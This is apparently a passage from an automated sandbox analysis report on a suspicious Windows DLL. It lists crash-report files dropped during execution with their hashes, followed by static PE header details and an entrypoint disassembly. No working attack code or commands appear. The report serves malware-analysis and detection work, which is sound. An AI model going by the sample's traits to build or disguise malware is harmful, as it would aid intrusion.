.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER42EA.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	50030
Entropy (8bit):	3.054147686736165
Encrypted:	false
SSDEEP:	1536:KDHBHa6Nhq/xO6qJx7ZVUWy1aeQHQRq5FnwBc:KDHBHa6Nhq/xO6qJx7ZVUWy1aeQHQRqD
MD5:	DB316FD905C5EEC16689FBF1188FF219
SHA1:	E9B1316080E88C59E7A40FBBA7460625D30AE0A0
SHA-256:	2BDF36F9AAAC312455E5758250AE9A86845C3E3F27CEFAE6E8F8530E0481C161
SHA-512:	D0933B8AFF200BF926569B5BB346CE11808C732DBFFDC867C41837D97F28CFF6F3087745CA6E52157C1F5292948E9057918DC3328F3D88FE20FD513CEB398A75
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4731.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695477969437785
Encrypted:	false
SSDEEP:	96:9GiZYWgxMOGLbY2YF7rW5H3YEZD/Ftk0i7PL+ywHrabP0aIDCZylOIBr3:9jZDrhIW/tEsaIDyylZBr3
MD5:	1209E9856FAAC6EE0EBA4C9651FE3D2E
SHA1:	1C287B56C1F4F1995A0BE8D4782C6C5BC380D20F
SHA-256:	6E9CBD4477736F6D621027C286969B6CFBEAFA6AA92300A4F44E12598A20BAD1
SHA-512:	0B725614CC5D8BBCA42AA5B49DE130FEFF8A642319C42C07C681726A393E20447327AF5275CC0ECD0278E1E5D538D7519B29ABA40EC34EA603B1E209946492BC
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6578.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	49640
Entropy (8bit):	3.0548950330398768
Encrypted:	false
SSDEEP:	1536:DFHpHg6Hk/xdqJm/6RGkUzy1aChH9JilOUEs:DFHpHg6Hk/xdqJm/6RGkUzy1aChH9JiF
MD5:	7863E9D9221D3FBF2399DB5AF9DEF6B7
SHA1:	2DD938F1431660404BE4B3EF39AA57E6C3FDD144
SHA-256:	167A77564754A61CB6875DD0B654B29EDD3FC7E6DDD75FA82B5F21E4B6DB0B62
SHA-512:	E2C0BB85E449DC3CD53F86A2FD00B2D0BCF6B747EFBE7BCBA1A2B0BB3FBCA9755C76B2946AFBAC34203F31F87C1EEF685EB7B3E577A98D6BCE1A95A46A98FB2E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6896.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6949302636440335
Encrypted:	false
SSDEEP:	96:9GiZYWQ0OZNLAY+GYPWOZHDYEZFUItFidPe+fw1LfaWGrfiwIhA3:9jZD3JGcUELaWGrfiHhA3
MD5:	0DB248CBA273C43C6A6B69E38B7E724D
SHA1:	9921F602B78EC02EFDEEF824E843544F4320952A
SHA-256:	01AEDC7579FF57CDFDADED143AA5F40032984CEA68063CB658A2BAE76D8367FC
SHA-512:	21AB0FC7B1E591EC6A91B2CEE377804FDDBE3855BB2227D93C9EF34D6E9EC7DE627C53A9B4414EE0B229368CF81B5C98F65152AF1BEB34DA278F1C3B95D35B30
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBBD7.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 1 23:54:21 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	25952
Entropy (8bit):	2.5479659724080994
Encrypted:	false
SSDEEP:	192:TiDG6u6spOt1fhX7XAqki6+Hr38MuGe44NQ7y:PANrfl2iL38MuGe3
MD5:	E1A30403EED9771979C9650D013EC47D
SHA1:	076661FCF34BEF8F26632B0B057C674CF3EB4CC5
SHA-256:	BC39011699A393049A13127695D3275B89C15DB4A64D057D66E9EC770D73B9FF
SHA-512:	F4F17AD966CD71DAD028A582EC4BD2349DE1C0C63B6A8AA53E3505BEECAF149B12182D0B9C8560B0419F804F45927DAD3A689DDDCF16C475520885DC7F5F157B
Malicious:	false
Preview:	MDMP....... .......-..a............4...............H.......$...........................`.......8...........T...........h....X...........................................................................................U...........B......p.......GenuineIntelW...........T..............a-............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBEC6.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8340
Entropy (8bit):	3.703515995405675
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi0d6Y6YrBSUKogmfOSz3+pBU89bKusfRum:RrlsNi+6Y6YtSUKogmfOSzgKtfB
MD5:	45A99EB6F7CDE7E0DF4A21A1559328AB
SHA1:	9465E6CB513F9B45CCF4D1FB0EF88C66DE804495
SHA-256:	662E516BDCCF642EE2AD6CB7DCEE1335EE98068A32458DA8036C8C9A49468F87
SHA-512:	205A9F77F77B2066F68306C34F5489C7D912C5A968270532A93DB56F3E09DC2076CFBEFC2981F167134F5AF1D09E3ADAE742DC4529878C832D4D5BD32387A942
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.8.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC34B.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4598
Entropy (8bit):	4.478723336936157
Encrypted:	false
SSDEEP:	48:cvIwSD8zs8JgtWI90CkgwSWSC8BgM8fm8M4J2yvZFP+q84WzZyKcQIcQwQyd:uITf6frgwzSNaxJBLwZyKkwQyd
MD5:	65A742620F6F9B0AB1DA05AB57E36B71
SHA1:	3E2CC66D1F3A55506A3B1AF09743A04127D46DF2
SHA-256:	B5D59C26CC24E65876D68F0277C1707BB5AA9FBFBC8AC6BA143B2CA1C863F2DE
SHA-512:	71ECC6CD82EC8BAE0757B6426C28646AC2EC3E6DE1C86BC5AEBB41F6E84C6611B87229E8090FBE87B2477361504B96C40E06F74AC910C68C1EB1E8ED8CBAA8F1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1279265" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC5F.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 1 23:54:29 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	1058968
Entropy (8bit):	1.3634743704673724
Encrypted:	false
SSDEEP:	1536:v9+iGC6hao+C30BRC38srMs9TTfGdvblT98kLpvauTYLx05f:vPk36s38ITT0laUauE105f
MD5:	36C4A2EFB238E98383A4DA1690926559
SHA1:	62E82195C1A515A566E2A7ED27F8BE83B1D33783
SHA-256:	FD1409A26E79C02A441D26CAE2BF474FE84D822607B0256F1B8BF59CFDAEF049
SHA-512:	62294FBEC73AED3CD1C75D42F6DE49FCC22AE9F3FCD7474C5C886B3497A1F125966376A1398D849AF9C846B0F1E3F037B0118E9A563D52CC1CDA4B694200E0DE
Malicious:	false
Preview:	MDMP....... .......5..a............4...............H.......$...........................`.......8...........T...........@...X............................................................................................U...........B......p.......GenuineIntelW...........T..............a-............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE365.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8300
Entropy (8bit):	3.69335608268857
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi006c6YrJSUZCgmfL8GSZ+pDV89biusfb2m:RrlsNin6c6YFSUZCgmfLrSnitfz
MD5:	45B484554E744A5B39F40F9CFA754EEF
SHA1:	3C7130BDDC84A64FA209B52ADBA5346B264EE96D
SHA-256:	BA597D1ECA4C78138A47D7797D5059815572533C30DCA96917BAD65B6CE03951
SHA-512:	E5071F2DCC042469BC5A696EAE73246E2EA25CECA922B9ECE1A96158ABE0DC7090D38AFEEE3F9E4C1F5C4DDC77AE498C0C71BC7290E141A7D67BB6044ED8F762
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.8.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE5C7.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4558
Entropy (8bit):	4.431257039534109
Encrypted:	false
SSDEEP:	48:cvIwSD8zs8JgtWI90CkgwSWSC8Bo8fm8M4J2yGtFg+q84tj1yKcQIcQwQyd:uITf6frgwzSN3JEox1yKkwQyd
MD5:	8834F0F83F8A79BA6E8F5A04C815DC4C
SHA1:	2E2BAC63DEBD1E64B97486EDA994F6F2183AB686
SHA-256:	CC01D1EE6767DF3178982FC44C0322E038A2638E9071D90DE6C80D4F8F98F93B
SHA-512:	E090841A1192FCA51DC9B7D10BB70DC066F1549FC58BD3046539F71BB7F40458D833AAFC0880D7435BBDEC86CCE0DA0DC8A2E5E893030FCA71778755F0AEA01E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1279265" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.240892545103475
Encrypted:	false
SSDEEP:	12288:EjySJL1r13tcB96tQi9Ot58i3vV1IzQlZyCjP/pH+Mnns0HP:0ySJL1r13tS96tmt3
MD5:	6645A32F023CD201C9B65B259632ED51
SHA1:	CF405D0557BC2EBBD413607ADF5C8527F9D2F548
SHA-256:	687E0E6DB616F1113BDF6BC49594216C2691AC85D9895A144032CCA4A08D222A
SHA-512:	3CD598BB6161B080F596147EBFE356461BCE90B369987D2169B7324FE3520F846DC603CF462AE8E136843627B3FDFB3717543C682160F9B55F3A8886572508D1
Malicious:	false
Preview:	regfI...I...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtmz3..................................................................................................................................................................................................................................................................................................................................................4'..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.7278103860465284
Encrypted:	false
SSDEEP:	384:nwK5K5Acv4KgnVVeeDze/1NKZtjnT8GRFwXnI:wUKLg/eeDze9NYtjAGRFwX
MD5:	9C13EE322F620513A3DD4EFA4D7A2BE7
SHA1:	AF610639D69985357C4555CFB746470BE176FE3C
SHA-256:	9A13391967B3D52EB8080979E217AF6023059A5F6C5C0F8AE64F4CF22E0C77A8
SHA-512:	3F55323E578C727284461EC0E0BA49AFCBBBB8DC29417D6AA9D4CE63C935A12C33FFDB5EC4A5D82CA385E56CBBAD99CD29205684DCF05A39CF53265E054EACD2
Malicious:	false
Preview:	regfH...H...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtmz3..................................................................................................................................................................................................................................................................................................................................................2'..HvLE.>......H...........F..Nt...-..Y.........................hbin................p.\..,..........nk,............x........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ............ ........................... .......Z.......................Root........lf......Root....nk ........................................ ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.067319727198819
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IGidwJjoUs.dll
File size:	372736
MD5:	daf0060326338fd3d153248ca89b40e5
SHA1:	b11244a64678d1e8280b7daf273cb0563ee51803
SHA256:	e9f7e82f30ad5350adb0ad37ac11bc26ae7f3b0879fe33e2a23c97f158c85780
SHA512:	727ab782457d503480cb9e4991634be013effac466daa6431045bbda9f252f36c74b17ba5f94a4438781f950f3fe5e2076ae1b8cc39e273b3746842dc239d71a
SSDEEP:	6144:qRsMh9YQWtcgA70wgF7nJyj6CQK+kIVDRjudJMrt32fFcRmXIeJXjWMmAD:cvm9Y0HFLORQKqV4epRmxAvAD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0...Q...Q...Q..E#...Q..E#...Q..E#...Q../$...Q...$...Q...$...Q...$...Q..E#...Q...Q...Q...Q...Q../$...Q../$...Q..Rich.Q.........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1001a401
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61A7100E [Wed Dec 1 06:02:54 2021 UTC]
TLS Callbacks:	0x1000c500
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	609402ef170a35cc0e660d7d95ac10ce

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FF3E4E03407h
call 00007FF3E4E03798h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FF3E4E032B3h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007FF3E4E03CAEh
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
jmp 00007FF3E4E0340Fh
push dword ptr [ebp+08h]
call 00007FF3E4E07794h
pop ecx
test eax, eax
je 00007FF3E4E03411h
push dword ptr [ebp+08h]
call 00007FF3E4E07810h
pop ecx
test eax, eax
je 00007FF3E4E033E8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007FF3E4E03D73h
jmp 00007FF3E4E03D50h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1002808Ch]
push dword ptr [ebp+08h]
call dword ptr [10028088h]
push C0000409h
call dword ptr [10028040h]
push eax
call dword ptr [10028090h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [10028094h]
test eax, eax
je 00007FF3E4E03407h
push 00000002h
pop ecx
int 29h
mov dword ptr [1005AF18h], eax
mov dword ptr [1005AF14h], ecx
mov dword ptr [1005AF10h], edx
mov dword ptr [1005AF0Ch], ebx
mov dword ptr [1005AF08h], esi
mov dword ptr [1005AF04h], edi
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x58390	0x8ac	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x58c3c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5d000	0x1bb0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x56fdc	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x57100	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x57030	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x28000	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x264f4	0x26600	False	0.546620521173	data	6.29652715831	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
